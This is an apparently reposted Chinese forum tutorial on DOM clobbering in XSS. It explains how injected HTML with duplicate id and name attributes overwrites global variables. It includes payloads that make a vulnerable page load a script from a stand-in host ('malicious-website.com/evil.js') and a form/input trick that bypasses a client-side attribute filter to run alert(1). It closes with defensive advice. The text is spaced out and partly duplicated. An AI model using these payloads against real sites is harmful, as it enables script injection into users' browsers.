搜索

[1895] 2021-08-11_XSS当中的DOMclobbering

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2021-08-11_XSS当中的DOMclobbering X S S 当 中 的 D O M   c l o b b e r i n g r v 0 p 1 1 1   D a y 1 安 全 团 队   2 0 2 1 - 0 8 - 1 1 最 近 回 顾 学 习 了 下 这 个 相 关 的 知 识 点 ， 目 的 只 是 想 要 记 录 下 分 析 过 程 ， 介 绍 的 话 就 直 接 引 用 相 关 文 章 的 内 容 了 最 近 回 顾 学 习 了 下 这 个 相 关 的 知 识 点 ， 目 的 只 是 想 要 记 录 下 分 析 过 程 ， 介 绍 的 话 就 直 接 引 用 相 关 文 章 的 内 容 了 D O M   破 坏 是 一 种 将   H T M L   注 入 页 面 以 操 作   D O M   并 最 终 更 改 页 面 上   J a v a S c r i p t   行 为 的 技 术 。 D O M   c l o b b e r i n g   在 X S S 不 可 能 的 情 况 下 特 别 有 用 ， 但 您 可 以 控 制 页 面 上 的 某 些   H T M L ， 其 中 属 性 i d 或 被 n a m e H T M L   过 滤 器 列 入 白 名 单 。 D O M   破 坏 的 最 常 见 形 式 是 使 用 锚 元 素 覆 盖 全 局 变 量 ， 然 后 应 用 程 序 以 不 安 全 的 方 式 使 用 该 变 量 ， 例 如 生 成 动 态 脚 本   U R L 。 术 语 破 坏 来 自 这 样 一 个 事 实 ， 即 您 正 在 “ 破 坏 ” 对 象 的 全 局 变 量 或 属 性 ， 并 用   D O M   节 点 或   H T M L   集 合 覆 盖 它 。 例 如 ， 您 可 以 使 用   D O M   对 象 覆 盖 其 他   J a v a S c r i p t   对 象 并 利 用 不 安 全 的 名 称 （ 例 如 s u b m i t ） 来 干 扰 表 单 的 实 际 s u b m i t ( ) 功 能 。 H o w   t o   e x p l o i t   D O M - c l o b b e r i n g   v u l n e r a b i l i t i e s 要 利 用 此 易 受 攻 击 的 代 码 ， 您 可 以 注 入 以 下   H T M L   以 s o m e O b j e c t 使 用 锚 元 素 破 坏 引 用 ： 由 于 两 个 锚 使 用 相 同 的 I D ,   D O M 将 它 们 分 组 到 一 个 D O M 集 合 中 。 D O M 截 断 向 量 然 后 用 这 个 D O M 集 合 覆 盖 s o m e O b j e c t 引 用 。 在 最 后 一 个 锚 元 素 上 使 用 n a m e 属 性 ， 以 删 除 s o m e O b j e c t 对 象 的 u r l 属 性 ， 该 属 性 指 向 一 个 外 部 脚 本 。 这 段 代 码 最 终 实 现 的 加 载 模 式 其 实 是 这 样 的 ， 如 果 我 们 能 引 入 上 面 我 们 加 入 的 p o c 的 话 ， 那 么 我 们 的 w i n d o w 获 取 s o m e O b j e c t 的 对 象 得 到 的 就 是 下 面 的 这 个 元 素 ， 也 就 是 说 我 们 的 i d = s o m e O b j e c t 其 实 是 污 染 成 功 的 ， 因 为 页 面 加 载 完 成 本 身 就 可 以 进 行 w i n d o w . 控 件 I d 进 行 取 值 （ 根 据 （ 根 据   H T M L   规 范 中 所 说 ， 拥 有 规 范 中 所 说 ， 拥 有 i d   属 性 的 任 何 元 素 ， 以 及 拥 有 属 性 的 任 何 元 素 ， 以 及 拥 有 n a m e 属 性 的 属 性 的 e m b e d 元 素 、 元 素 、 f o r m 元 素 、 元 素 、 i m g 元 素 ， 其 属 性 值 将 作 为 元 素 ， 其 属 性 值 将 作 为 w i n d o w   对 象 的 属 性 ， 即 属 性 值 会 作 为 全 局 变 量 代 表 对 应 元 素 （ 前 提 是 在 对 象 的 属 性 ， 即 属 性 值 会 作 为 全 局 变 量 代 表 对 应 元 素 （ 前 提 是 在 J a v a S c r i p t 上 下 文 作 用 域 内 没 有 声 明 这 个 变 量 名 ） ） 上 下 文 作 用 域 内 没 有 声 明 这 个 变 量 名 ） ） 这 边 可 以 看 到 正 如 上 面 的 话 所 说 ， 我 们 的 s o m e O b j e c t 变 成 了 一 个 集 合 ， 我 们 设 定 的 n a m e 属 性 会 变 成 s o m e O b j e c t 当 中 的 一 个 属 性 ， 因 为 上 面 的 v a r   s o m e O b j e c t   =   w i n d o w . s o m e O b j e c t   | |   { } ; I f   y o u   c a n   c o n t r o l   s o m e   o f   t h e   H T M L   o n   t h e   p a g e ,   y o u   c a n   c l o b b e r   t h e   s o m e O b j e c t   r e f e r e n c e   w i t h   a   D O M   n o d e ,   s u c h   a s   a n   a n c h o r .   C o n s i d e r   t h e   f o l l o w i n g   c o d e : < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . s o m e O b j e c t   | |   { } ;         l e t   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;         s c r i p t . s r c   =   s o m e O b j e c t . u r l ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;     } ; < / s c r i p t > < a   i d = s o m e O b j e c t > < a   i d = s o m e O b j e c t   n a m e = u r l   h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s >
代 码 需 要 用 到 s o m e O b j e c t . u r l 所 以 我 们 需 要 设 置 n a m e 属 性 ， 我 们 在 a 标 签 当 中 设 置 了 n a m e = u r l ， 我 们 就 可 以 用 w i n d o w . s o m e O b j e c t . u r l 来 引 用 它 本 身 这 个 对 象 ， 这 里 又 设 计 到 一 个 知 识 点 ， 如 下 所 示 ， 所 以 我 们 可 以 通 过 w i n d o w . s o m e O b j e c t . u r l 来 引 用 它 本 身 这 个 对 象 H T M L C o l l e c t i o n   接 口 表 示 一 个 包 含 了 元 素 （ 元 素 顺 序 为 文 档 流 中 的 顺 序 ） 的 通 用 集 合 （ g e n e r i c   c o l l e c t i o n ） ， 还 提 供 了 用 来 从 该 集 合 中 选 择 元 素 的 方 法 和 属 性 。 H T M L C o l l e c t i o n   对 象 可 以 通 过 子 元 素 的 位 置 、   i d 属 性 值 、 n a m e 属 性 值 来 获 取 集 合 中 的 子 元 素 。   这 里 再 给 大 家 举 个 例 子 < d i v >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 0 "   / >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 1 "   / >         < i m g   i d = " h a h a "   n a m e = " p i c "   s r c = " # "   a l t = " p i c _ 2 "   / > < / d i v > < s c r i p t >         / / 可 以 这 样 引 用 n a m e 为 p i c 的 元 素 ：         f o r   ( v a r   i   =   0 ;   i   <   p i c . l e n g t h ;   i + + )   {                 c o n s o l e . l o g ( p i c [ i ] ) ;                 c o n s o l e . l o g ( w i n d o w . p i c [ i ] ) ;                 c o n s o l e . l o g ( " - - - - - - - - - - - - - - - - - - - - - - - - - - - " ) ;                 / / 由 于 我 们 指 定 了 i d ， 所 以 w i n d o w . h a h a . p i c 也 可 以 引 用 到 它 ， 但 是 只 是 得 到 第 一 个                 c o n s o l e . l o g ( w i n d o w . h a h a . p i c )         } ; < / s c r i p t >
  这 里 有 个 注 意 点 ， 为 什 么 n a m e = u r l   h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s   就 是 u r l = h r e f = / / m a l i c i o u s - w e b s i t e . c o m / e v i l . j s 了 ？ 那 是 因 为 如 果 我 们 把 a 标 签 赋 值 给 s c r i p t 标 签 的 s r c 属 性 那 么 就 会 去 取 h r e f 参 数 ， 给 大 家 举 个 例 子 ， 如 下 所 示 ， 最 后 的 结 果 会 是 什 么 ， 那 就 是 s c r i p t 的 s r c 属 性 为 我 们 的 h r e f 所 指 向 的 链 接 ， 因 为 在 J a v a S c r i p t 中 ， 当 将 非 字 符 串 类 型 的 对 象 当 作 字 符 串 使 用 时 ， 会 返 回 该 对 象 的 字 符 串 形 式 ， 即 自 动 调 用 该 对 象 的 t o S t r i n g 方 法 ， 所 以 我 们 将 a 标 签 当 成 字 符 串 赋 值 的 时 候 ， 就 会 将 h r e f 赋 值 给 它 可 以 看 到 对 百 度 发 起 了 请 求 ， 所 以 这 里 基 本 就 解 释 了 为 什 么 会 是 上 面 那 种 情 况 了   < d i v   i d = " t e s t " > < d i v > < / d i v > < / d i v > < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . k k o b j e c t   | |   { } ;         l e t   s c r i p t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ;         s c r i p t . s r c   =   k k o b j e c t ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( s c r i p t ) ;     } ; < / s c r i p t > < a   i d = k k o b j e c t   h r e f = " h t t p s : / / w w w . b a i d u . c o m " > < / a >
E x p l o i t i n g   D O M   c l o b b e r i n g   t o   e n a b l e   X S S 另 一 种 常 见 的 技 术 是 将 f o r m 元 素 与 i n p u t 等 元 素 一 起 使 用 ， 以 破 坏 D O M 属 性 。 例 如 ， 修 改 属 性 属 性 使 您 可 以 绕 过 在 其 逻 辑 中 使 用 它 的 客 户 端 过 滤 器 。 尽 管 过 滤 器 将 枚 举 a t t r i b u t e s 属 性 ， 但 它 实 际 上 不 会 删 除 任 何 属 性 ， 因 为 属 性 已 经 被 D O M 节 点 破 坏 了 。 因 此 ， 您 将 能 够 注 入 通 常 会 被 过 滤 掉 的 恶 意 属 性 。 例 如 ， 考 虑 以 下 注 入 : 在 这 种 情 况 下 ， 客 户 端 过 滤 器 将 遍 历 D O M 并 遇 到 一 个 白 名 单 表 单 元 素 。 通 常 ， 过 滤 器 会 循 环 遍 历 f o r m 元 素 的 a t t r i b u t e s 属 性 ， 并 删 除 所 有 黑 名 单 属 性 。 但 是 ， 因 为 属 性 属 性 已 经 被 输 入 元 素 破 坏 了 ， 所 以 过 滤 器 转 而 遍 历 输 入 元 素 。 由 于 输 入 元 素 的 长 度 未 定 义 ， 过 滤 器 的 f o r 循 环 条 件 ( 例 如 i 这 将 导 致 o n c l i c k 事 件 被 过 滤 器 完 全 忽 略 ， 从 而 允 许 在 浏 览 器 中 调 用 a l e r t ( ) 函 数 。 其 实 这 边 想 说 的 就 是 如 果 我 们 调 用 的 是 下 面 的 代 码 ， 想 要 去 根 据 其 实 这 边 想 说 的 就 是 如 果 我 们 调 用 的 是 下 面 的 代 码 ， 想 要 去 根 据 a t t r i b u t e 去 匹 配 恶 意 的 属 性 内 容 的 时 候 ， 我 们 可 以 利 用 上 面 的 方 去 匹 配 恶 意 的 属 性 内 容 的 时 候 ， 我 们 可 以 利 用 上 面 的 方 式 ， 让 其 无 法 获 取 到 我 们 式 ， 让 其 无 法 获 取 到 我 们 f o r m 表 单 真 正 的 属 性 表 单 真 正 的 属 性 这 边 举 个 例 子 这 边 举 个 例 子 < f o r m   o n c l i c k = a l e r t ( 1 ) > < i n p u t   i d = a t t r i b u t e s > C l i c k   m e c o n s t   d a t a   =   d e c o d e U R I C o m p o n e n t ( l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ; ; c o n s t   r o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; r o o t . i n n e r H T M L   =   d a t a ; f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   {         l e t   a t t r s   =   [ ] ;         f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   {                 a t t r s . p u s h ( a t t r . n a m e ) ;         }         f o r   ( l e t   n a m e   o f   a t t r s )   {                 e l . r e m o v e A t t r i b u t e ( n a m e ) ;         } } d o c u m e n t . b o d y . a p p e n d C h i l d ( r o o t ) ;
c o n s o l e 的 最 终 结 果 其 实 就 是 的 最 终 结 果 其 实 就 是 i n p u t 的 标 签 ， 所 以 自 然 导 致 其 无 法 遍 历 来 删 除 其 的 相 关 属 性 的 标 签 ， 所 以 自 然 导 致 其 无 法 遍 历 来 删 除 其 的 相 关 属 性   整 体 感 受 的 话 ， 所 以 我 感 觉 就 是 其 实 还 是 全 局 变 量 的 锅 其 实 是 有 很 多 的 ， 如 果 大 家 混 着 用 ， 很 容 易 出 问 题 ， 包 括 我 们 写 代 码 的 时 候 整 体 感 受 的 话 ， 所 以 我 感 觉 就 是 其 实 还 是 全 局 变 量 的 锅 其 实 是 有 很 多 的 ， 如 果 大 家 混 着 用 ， 很 容 易 出 问 题 ， 包 括 我 们 写 代 码 的 时 候 获 取 属 性 的 时 候 如 果 判 断 下 他 是 否 是 我 们 所 预 想 的 类 型 ， 再 去 做 操 作 可 能 能 将 很 多 未 可 知 的 输 入 都 排 除 在 外 获 取 属 性 的 时 候 如 果 判 断 下 他 是 否 是 我 们 所 预 想 的 类 型 ， 再 去 做 操 作 可 能 能 将 很 多 未 可 知 的 输 入 都 排 除 在 外 扫 码 关 注 < s c r i p t >     w i n d o w . o n l o a d   =   f u n c t i o n ( ) {         l e t   s o m e O b j e c t   =   w i n d o w . t e s t 1   | |   { } ;         c o n s o l e . l o g ( w i n d o w . t e s t 1 . a t t r i b u t e s ) ;     } ; < / s c r i p t > < f o r m   i d = " t e s t 1 "   o n c l i c k = a l e r t ( 1 ) > < i n p u t   i d = a t t r i b u t e s > C l i c k   m e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理